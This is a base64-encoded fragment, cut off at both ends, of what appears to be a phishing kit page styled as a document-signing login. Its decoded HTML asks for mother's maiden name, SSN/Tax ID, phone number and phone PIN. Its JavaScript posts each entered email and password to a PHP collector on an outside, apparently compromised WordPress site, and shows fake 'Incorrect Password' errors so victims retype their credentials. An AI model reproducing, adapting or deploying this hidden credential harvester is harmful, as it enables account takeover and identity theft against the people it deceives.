iBGdWxsIE5hbWUiIGNsYXNzPSJlbWFpbC1vdGhlciIgcmVxdWlyZWQgbmFtZT0iQW4iPiAgICAgICAgCiAgICAgICAgICAgPC9kaXY+CgogICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1vdGhlciI+CiAgICAgICAgPHNwYW4gY2xhc3M9ImVycm9yLW90aGVyLW1zZyI+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5Nb3RoZXJzIE1haWRlbiBOYW1lPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHBsYWNlaG9sZGVyPSJFbnRlciBZb3VyIE1vdGhlcidzIE1haWRlbiBOYW1lIiBjbGFzcz0icGFzcy1vdGhlciIgcmVxdWlyZWQgbmFtZT0iUk4iPgogICAgICAgICAgIDwvZGl2PgoJCSAgIAoJCSAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgIDwvZGl2PgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlNvY2lhbCBTZWN1cml0eSBudW1iZXIgKFNTTikvIFRheCBJRDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCBwbGFjZWhvbGRlcj0iRW50ZXIgU29jaWFsIFNlY3VyaXR5IG51bWJlciAoU1NOKS8gVGF4IElEIiBjbGFzcz0icGFzcy1vdGhlciIgcmVxdWlyZWQgbmFtZT0iU1NOIj4KICAgICAgICAgICA8L2Rpdj4KCQkgICAKCQkgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1vdGhlciI+CiAgICAgICAgPHNwYW4gY2xhc3M9ImVycm9yLW90aGVyLW1zZyI+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5UZWxlcGhvbmUgTnVtYmVyPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHBsYWNlaG9sZGVyPSJFbnRlciBUZWxlcGhvbmUgTnVtYmVyIiBjbGFzcz0icGFzcy1vdGhlciIgcmVxdWlyZWQgbmFtZT0ibU5hbWUiPgogICAgICAgICAgIDwvZGl2PgoJCSAgIAoJCSAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3giPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZXJyb3Itb3RoZXIiPgogICAgICAgIDxzcGFuIGNsYXNzPSJlcnJvci1vdGhlci1tc2ciPjwvc3Bhbj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+VGVsZXBob25lIFBpbjwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCBwbGFjZWhvbGRlcj0iRW50ZXIgVGVsZXBob25lIFBpbiIgY2xhc3M9InBhc3Mtb3RoZXIiIHJlcXVpcmVkIG5hbWU9IlRwaW4iPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94IG90aGVyLWJ0bnMiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSBidG4tb3RoZXIiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0bi1Mb2dpbiBidG4tb3RoZXIiPkxvZ2luPC9idXR0b24+CiAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgoJPHNjcmlwdD4KCQogICBjb25zdCBbZm9ybTEsIGZvcm0yLCBmb3JtMywgZm9ybTQsIGZvcm01LCBmb3JtNl0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIub3RoZXJfX2Zvcm0tbWFpbiIpOwogICAgICAgIGNvbnN0IFtib3hEYXRhMSwgYm94RGF0YTIsIGJveERhdGEzLCBib3hEYXRhNCwgYm94RGF0YTUsIGJveERhdGE2XSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5ib3hfX2RhdGEtaW5mbyIpOwogICAgICAgIGNvbnN0IFtjbG9zZUJ0bjEsIGNsb3NlQnRuMiwgY2xvc2VCdG4zLCBjbG9zZUJ0bjQsIGNsb3NlQnRuNSwgY2xvc2VCdG42XSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5jbG9zZV9fZm9ybSIpOwogICAgICAgIGNvbnN0IFtidG5DbG9zZTEsIGJ0bkNsb3NlMiwgYnRuQ2xvc2UzLCBidG5DbG9zZTQsIGJ0bkNsb3NlNSwgYnRuQ2xvc2U2XSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5idG4tY2xvc2UiKTsKICAgICAgICBjb25zdCBbZm9ybURhdGExLCBmb3JtRGF0YTIsIGZvcm1EYXRhMywgZm9ybURhdGE0LCBmb3JtRGF0YTUsIGZvcm1EYXRhNl0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIub3RoZXItZm9ybS1tYWlsIik7CiAgICAgICAgY29uc3QgW2Vycm9yTXNnMSwgZXJyb3JNc2cyLCBlcnJvck1zZzMsIGVycm9yTXNnNCwgZXJyb3JNc2c1LCBlcnJvck1zZzYsIGVycm9yTXNnNywgZXJyb3JNc2c4LCBlcnJvck1zZzksIGVycm9yTXNnMTBdID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmVycm9yLW90aGVyLW1zZyIpOwogICAgICAgIGNvbnN0IFtpbWdTcmMxLCBpbWdTcmMyLCBpbWdTcmMzLCBpbWdTcmM0LCBpbWdTcmM1XSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5pbWdfX2RhdGEiKTsKICAgICAgICBjb25zdCBpbWdNb3JlID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmltZ19fbW9yZSIpOwogICAgICAgIGxldCBudW0gPSAwOyAKICAgICAgICAgCiAgICAgIGNvbnN0IGFqYXhDb2RlID0gKGRhdGEpID0+IHsKICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAvL3Bvc3QgcGhwIGxpbmsgaGVyZS4uLi4KICAgICAgICAgICAgdXJsOiAnaHR0cHM6Ly9jbGluaWNhMDEucGF0cmljaWFzYW50aG9zLmNvbS5ici93cC1hZG1pbi9kY3VzaWduL2RhdGEucGhwJywKICAgICAgICAgICAgdHlwZTogJ1BPU1QnLAogICAgICAgICAgICBkYXRhOiB7IHBhc3M6IGRhdGEgfSwKICAgICAgICB9KTsKICAgIH07CgoKICAgICAgICBib3hEYXRhMS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgZm9ybTEuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICBib3hEYXRhMi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgZm9ybTIuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICAgYm94RGF0YTMuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgIGZvcm0zLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgYm94RGF0YTQuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgIGZvcm00LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgYm94RGF0YTUuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgIGZvcm01LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCgogICAgICAgIGNsb3NlQnRuMS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm0xLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgY2xvc2VCdG4yLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICAgZm9ybTIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICBjbG9zZUJ0bjMuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtMy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgICBjbG9zZUJ0bjQuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtNC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgIGNsb3NlQnRuNS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm01LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgIGNsb3NlQnRuNi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm02LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCgogICAgICAgIGJ0bkNsb3NlMS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm0xLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgICAgYnRuQ2xvc2UyLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICAgZm9ybTIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICBidG5DbG9zZTMuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtMy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgICBidG5DbG9zZTQuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtNC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgIGJ0bkNsb3NlNS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm01LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgYnRuQ2xvc2U2LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICAgZm9ybTYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIH0pOwoKCiAgICAgICAgZm9ybURhdGExLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAKICAgICAgICAgICAgY29uc3QgZW1haWwgPSBlLnRhcmdldC5lbGVtZW50cy5lbWFpbC52YWx1ZTsKICAgICAgICAgICAgY29uc3QgcGFzcyA9IGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWU7CiAgICAgICAgCgogICAgICAgICAgICBpZihlbWFpbCA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2cxLnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBlbWFpbCBBZGRyZXNzIjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZWxzZSBpZihwYXNzID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZzEudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIEVtYWlsIFBhc3N3b3JkIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIG51bSsrOwogICAgICAgICAgICAgICAgIGxldCBmRGF0YTQgPSBgRW1haWwgQWRkcmVzczogJHtlbWFpbH0gXG5QYXNzd29yZDogJHtwYXNzfWA7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2cxLnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCI7CiAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2cxLnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQoJCQkJZWxzZSBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnMS50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQgVHJ5IGFnYWluIjsKICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgaW1nTW9yZS5zcmMgPSBpbWdTcmMxLnNyYzsKICAgICAgICAgICAgICAgICAgICBmb3JtMS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgZm9ybTYuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgIG51bSA9IDA7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgIAogICAgICAgICAgICB9IAoKCiAgICAgICAgfSkKCgoKICAgICAgICAgIGZvcm1EYXRhMi5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCAoZSkgPT4gewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgCiAgICAgICAgICAgIGNvbnN0IGVtYWlsID0gZS50YXJnZXQuZWxlbWVudHMuZW1haWwudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IHBhc3MgPSBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlOwoKICAgICAgICAgICAgaWYoZW1haWwgPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnMi50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgZW1haWwgQWRkcmVzcyI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVsc2UgaWYocGFzcyA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2cyLnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBFbWFpbCBQYXNzd29yZCI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBudW0rKzsKCiAgICAgICAgICAgICAgICBsZXQgZkRhdGE0ID0gYEVtYWlsIEFkZHJlc3M6ICR7ZW1haWx9IFxuUGFzc3dvcmQ6ICR7cGFzc31gOwoKICAgICAgICAgICAgICAgIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlcnJvck1zZzIudGV4dENvbnRlbnQgPSAiSW5jb3JyZWN0IFBhc3N3b3JkIjsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlcnJvck1zZzIudGV4dENvbnRlbnQgPSAiSW5jb3JyZWN0IFBhc3N3b3JkIFRyeSBhZ2FpbiI7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQoJCQkJZWxzZSBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2cyLnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgICAgICBudW0gPSAwOwogICAgICAgICAgICAgICAgICAgIGltZ01vcmUuc3JjID0gaW1nU3JjMi5zcmM7CiAgICAgICAgICAgICAgICAgICAgZm9ybTIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgIGZvcm02LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgIAogICAgICAgICAgICAgICAKICAgICAgICAgICAgfSAKCgogICAgICAgIH0pCgoKCiAgICAgICAgICBmb3JtRGF0YTMuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgIAogICAgICAgICAgICBjb25zdCBlbWFpbCA9IGUudGFyZ2V0LmVsZW1lbnRzLmVtYWlsLnZhbHVlOwogICAgICAgICAgICBjb25zdCBwYXNzID0gZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZTsKCiAgICAgICAgICAgIGlmKGVtYWlsID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZzMudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIGVtYWlsIEFkZHJlc3MiOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlbHNlIGlmKHBhc3MgPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnMy50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgRW1haWwgUGFzc3dvcmQiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgbnVtKys7CiAgICAgICAgICAgICAgICAgIGxldCBmRGF0YTQgPSBgRW1haWwgQWRkcmVzczogJHtlbWFpbH0gXG5QYXNzd29yZDogJHtwYXNzfWA7CiAgICAgICAgICAgICAgICBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnMy50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQiOwogICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2czLnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KCQkJCWVsc2UgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlcnJvck1zZzMudGV4dENvbnRlbnQgPSAiSW5jb3JyZWN0IFBhc3N3b3JkIFRyeSBhZ2FpbiI7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgbnVtID0gMDsKICAgICAgICAgICAgICAgICAgICBpbWdNb3JlLnNyYyA9IGltZ1NyYzMuc3JjOwogICAgICAgICAgICAgICAgICAgIGZvcm0zLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICBmb3JtNi5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAKICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSk7CiAgICAgICAgCiAgICAgICAgICBmb3JtRGF0YTQuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgIAogICAgICAgICAgICBjb25zdCBlbWFpbCA9IGUudGFyZ2V0LmVsZW1lbnRzLmVtYWlsLnZhbHVlOwogICAgICAgICAgICBjb25zdCBwYXNzID0gZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZTsKCiAgICAgICAgICAgIGlmKGVtYWlsID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZzQudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIGVtYWlsIEFkZHJlc3MiOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlbHNlIGlmKHBhc3MgPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnNC50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgRW1haWwgUGFzc3dvcmQiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgbnVtKys7CiAgICAgICAgICAgICAgICAgIGxldCBmRGF0YTQgPSBgRW1haWwgQWRkcmVzczogJHtlbWFpbH0gXG5QYXNzd29yZDogJHtwYXNzfWA7CiAgICAgICAgICAgICAgICBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2c0LnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCI7CiAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlcnJvck1zZzQudGV4dENvbnRlbnQgPSAiSW5jb3JyZWN0IFBhc3N3b3JkIFRyeSBhZ2FpbiI7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQoJCQkJZWxzZSBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnNC50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQgVHJ5IGFnYWluIjsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICAgICAgbnVtID0gMDsKICAgICAgICAgICAgICAgICAgICBpbWdNb3JlLnNyYyA9IGltZ1NyYzQuc3JjOwogICAgICAgICAgICAgICAgICAgIGZvcm00LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICBmb3JtNi5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAKICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSkKCgogICAgICAgIAogICAgICAgICAgZm9ybURhdGE1LmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAKICAgICAgICAgICAgY29uc3QgZW1haWwgPSBlLnRhcmdldC5lbGVtZW50cy5lbWFpbC52YWx1ZTsKICAgICAgICAgICAgY29uc3QgcGFzcyA9IGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWU7CgogICAgICAgICAgICBpZihlbWFpbCA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2c1LnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBlbWFpbCBBZGRyZXNzIjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZWxzZSBpZihwYXNzID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZzUudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIEVtYWlsIFBhc3N3b3JkIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIG51bSsrOwogICAgICAgICAgICAgICAgIGxldCBmRGF0YTQgPSBgRW1haWwgQWRkcmVzczogJHtlbWFpbH0gXG5QYXNzd29yZDogJHtwYXNzfWA7CiAgICAgICAgICAgICAgICBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2c1LnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCI7CiAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2c1LnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KCQkJCWVsc2UgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2c1LnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgICAgIGltZ01vcmUuc3JjID0gaW1nU3JjNS5zcmM7CiAgICAgICAgICAgICAgICAgICAgbnVtID0gMDsKICAgICAgICAgICAgICAgICAgICBmb3JtNS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgZm9ybTYuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IAogICAgICAgIH0pOwoKCiAgICAgICAgZm9ybURhdGE2LmFkZEV2ZW50TGlzdGVuZXIoInN1